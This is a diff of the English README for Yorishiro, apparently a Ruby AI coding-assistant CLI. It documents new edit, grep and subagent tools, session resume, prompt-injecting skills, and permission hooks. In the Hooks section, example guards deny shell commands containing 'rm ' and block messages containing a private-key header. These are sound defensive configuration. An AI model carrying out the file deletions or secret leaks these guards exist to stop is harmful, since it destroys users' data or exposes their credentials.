359
+ allow_tool Yorishiro::Tools::Task.new
237
360
 
238
361
  # MCP servers
239
362
  mcp_server "filesystem",
@@ -247,8 +370,11 @@ mcp_server "filesystem",
247
370
  |------|-------|-------------|------------|
248
371
  | `read_file` | `Yorishiro::Tools::ReadFile` | Read file contents | Not required |
249
372
  | `write_file` | `Yorishiro::Tools::WriteFile` | Write to a file | Required every time |
373
+ | `edit_file` | `Yorishiro::Tools::EditFile` | Replace an exact string in a file | Required every time |
250
374
  | `list_files` | `Yorishiro::Tools::ListFiles` | List directory / glob search | Not required |
375
+ | `grep` | `Yorishiro::Tools::Grep` | Search file contents with a Ruby regexp | Not required |
251
376
  | `execute_command` | `Yorishiro::Tools::ExecuteCommand` | Execute shell commands | Pattern-based |
377
+ | `task` | `Yorishiro::Tools::Task` | Delegate read-only research to a subagent with a fresh context window | Not required |
252
378
 
253
379
  ## Development
254
380
 
data/docs/en/README.md CHANGED
@@ -32,7 +32,9 @@ use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-sonn
32
32
 
33
33
  allow_tool Yorishiro::Tools::ReadFile.new
34
34
  allow_tool Yorishiro::Tools::WriteFile.new
35
+ allow_tool Yorishiro::Tools::EditFile.new
35
36
  allow_tool Yorishiro::Tools::ListFiles.new
37
+ allow_tool Yorishiro::Tools::Grep.new
36
38
  allow_tool Yorishiro::Tools::ExecuteCommand.new,
37
39
  allow_commands: ["ls", "git *", "bundle exec *", "cat *"]
38
40
 
@@ -61,12 +63,17 @@ assistant> Hi! How can I help you today?
61
63
  - Type your message and press **Enter twice** to send
62
64
  - `Ctrl+C` or `/exit` to quit
63
65
 
66
+ ### Session Persistence & Resume
67
+
68
+ Conversations are saved automatically to `.yorishiro/sessions/` under the launch directory — after every turn, and progressively during long tool loops. Resume with `yorishiro --continue` (most recent), `yorishiro --resume [ID]` (ID prefixes work; interactive picker when omitted), or the `/resume` command. `/clear` starts a new session while keeping the old one resumable. Sessions record their provider/model and print a notice when resumed under a different one; the newest 50 sessions are kept per directory.
69
+
64
70
  ### Slash Commands
65
71
 
66
72
  | Command | Description |
67
73
  |---------|-------------|
68
74
  | `/plan` | Toggle plan mode |
69
- | `/clear` | Clear conversation history |
75
+ | `/clear` | Clear conversation history (starts a new session) |
76
+ | `/resume` | List saved sessions and resume one |
70
77
  | `/tools` | List registered tools |
71
78
  | `/skills` | List registered skills |
72
79
  | `/exit` | Exit yorishiro |
@@ -78,6 +85,8 @@ assistant> Hi! How can I help you today?
78
85
  yorishiro --provider anthropic # Select provider
79
86
  yorishiro --model gpt-4o # Override model
80
87
  yorishiro --plan # Start in plan mode
88
+ yorishiro --continue # Resume the most recent session
89
+ yorishiro --resume [ID] # Resume a saved session (picker when ID is omitted)
81
90
  yorishiro --version # Show version
82
91
  yorishiro --help # Show help
83
92
  ```
@@ -117,14 +126,34 @@ use provider: :ollama, model: "llama3.1"
117
126
  # Read-only tools (no permission required)
118
127
  allow_tool Yorishiro::Tools::ReadFile.new
119
128
  allow_tool Yorishiro::Tools::ListFiles.new
129
+ allow_tool Yorishiro::Tools::Grep.new
120
130
 
121
- # Write tool (permission required every time)
131
+ # Write / edit tools (permission required every time, with a diff preview)
122
132
  allow_tool Yorishiro::Tools::WriteFile.new
133
+ allow_tool Yorishiro::Tools::EditFile.new
123
134
 
124
135
  # Command execution (pattern-based permission)
125
136
  allow_tool Yorishiro::Tools::ExecuteCommand.new,
126
137
  allow_commands: ["ls", "git *", "bundle exec *"]
138
+
139
+ # Subagent (delegates read-only research to a fresh context window)
140
+ allow_tool Yorishiro::Tools::Task.new
141
+ ```
142
+
143
+ ### Subagent (`task` tool)
144
+
145
+ The `task` tool lets the LLM delegate a read-only research task (finding where something is defined, summarizing several files) to a subagent that runs its own agent loop in a fresh context window. The subagent can use the registered read-only tools (`read_file`, `list_files`, `grep` — never `task` itself, so subagents cannot nest), and only its final text summary enters the parent conversation.
146
+
147
+ This keeps exploratory tool output out of the parent's context — especially valuable on small local context windows (e.g. Ollama with `num_ctx 8192`), where reading a handful of files can otherwise use up the whole budget. Each subagent tool call is shown as an indented progress line:
148
+
127
149
  ```
150
+ [Tool] Executing: task(prompt: Find where sessions are persisted...)
151
+ [task] grep(pattern: def save)
152
+ [task] read_file(path: lib/yorishiro/session_store.rb)
153
+ [Tool] Result: Sessions are saved to .yorishiro/sessions/<id>.json by...
154
+ ```
155
+
156
+ Lifecycle hooks (`before_tool_use` / `after_tool_use`) fire for the subagent's tool calls too, and the loop is bounded at 15 iterations. Because the tool is read-only, it needs no permission prompt and is also available in plan mode.
128
157
 
129
158
  ### Command Execution Permission Model
130
159
 
@@ -204,6 +233,66 @@ skill GitStatusSkill.new
204
233
  # => Available as /git_status
205
234
  ```
206
235
 
236
+ A skill that returns a String just prints its output. To drive the assistant
237
+ instead, return `prompt(...)`: the text is injected as a user message and the
238
+ LLM runs (respecting plan mode), so the skill can hand a task to the model.
239
+
240
+ ```ruby
241
+ class ReviewSkill < Yorishiro::Skill
242
+ def name = "review"
243
+ def description = "Review the current git diff"
244
+
245
+ def execute(_context)
246
+ prompt("You are a code reviewer. Review this diff and list issues:\n#{`git diff`}")
247
+ end
248
+ end
249
+
250
+ skill ReviewSkill.new
251
+ # => /review feeds the diff to the LLM and runs the agent loop
252
+ ```
253
+
254
+ Skill files can also be auto-loaded: any `Yorishiro::Skill` subclass defined in
255
+ `~/.yorishiro/skills/*.rb` (global) or `./.yorishiro/skills/*.rb` (project-local)
256
+ is registered automatically at startup — no `skill ...` call needed. When both
257
+ directories define a skill with the same name, the project-local one wins.
258
+
259
+ ```ruby
260
+ # .yorishiro/skills/changelog.rb
261
+ class ChangelogSkill < Yorishiro::Skill
262
+ def name = "changelog"
263
+ def description = "Summarize recent commits"
264
+
265
+ def execute(_context)
266
+ prompt("Summarize these commits for a changelog:\n#{`git log --oneline -20`}")
267
+ end
268
+ end
269
+ # => /changelog is available automatically
270
+ ```
271
+
272
+ ### Hooks
273
+
274
+ Run Ruby blocks on lifecycle events from `.yorishirorc`:
275
+
276
+ ```ruby
277
+ # Veto a tool call before the permission prompt (the denial is returned
278
+ # to the LLM as the tool result so it can change course)
279
+ on :before_tool_use do |tool_name, args|
280
+ deny("rm is not allowed") if tool_name == "execute_command" && args["command"].to_s.include?("rm ")
281
+ end
282
+
283
+ # Observe tool results (a failing hook only prints a warning)
284
+ on :after_tool_use do |tool_name, _args, result|
285
+ File.open(".yorishiro/audit.log", "a") { |f| f.puts "#{tool_name}: #{result.to_s[0, 100]}" }
286
+ end
287
+
288
+ # Block a message before it reaches the LLM
289
+ on :user_prompt_submit do |input|
290
+ deny("do not paste secrets") if input.include?("BEGIN PRIVATE KEY")
291
+ end
292
+ ```
293
+
294
+ Only an explicit `deny("reason")` (or `:deny`) return value vetoes the action — anything else proceeds, so logging-only hooks are safe. A `before_tool_use` hook that raises an exception denies the call (fail closed). Hooks also apply to MCP tools and plan mode.
295
+
207
296
  ### Full Configuration Example
208
297
 
209
298
  ```ruby
@@ -223,7 +312,9 @@ plan_mode false
223
312
  # Built-in tools
224
313
  allow_tool Yorishiro::Tools::ReadFile.new
225
314
  allow_tool Yorishiro::Tools::WriteFile.new
315
+ allow_tool Yorishiro::Tools::EditFile.new
226
316
  allow_tool Yorishiro::Tools::ListFiles.new
317
+ allow_tool Yorishiro::Tools::Grep.new
227
318
  allow_tool Yorishiro::Tools::ExecuteCommand.new,
228
319
  allow_commands: [
229
320
  "ls *",
@@ -232,6 +323,7 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
232
323
  "bundle exec *",
233
324
  "ruby *"
234
325
  ]
326
+ allow_tool Yorishiro::Tools::Task.new
235
327
 
236
328
  # MCP servers
237
329
  mcp_server "filesystem",
@@ -245,8 +337,11 @@ mcp_server "filesystem",
245
337
  |------|-------|-------------|------------|
246
338
  | `read_file` | `Yorishiro::Tools::ReadFile` | Read file contents | Not required |
247
339
  | `write_file` | `Yorishiro::Tools::WriteFile` | Write to a file | Required every time |
340
+ | `edit_file` | `Yorishiro::Tools::EditFile` | Replace an exact string in a file | Required every time |
248
341
  | `list_files` | `Yorishiro::Tools::ListFiles` | List directory / glob search | Not required |
342
+ | `grep` | `Yorishiro::Tools::Grep` | Search file contents with a Ruby regexp | Not required |
249
343
  | `execute_command` | `Yorishiro::Tools::ExecuteCommand` | Execute shell commands | Pattern-based |
344
+ | `task` | `Yorishiro::Tools::Task` | Delegate read-only research to a subagent with a fresh context window | Not required |
250
345
 
251
346
  ## Development
252
347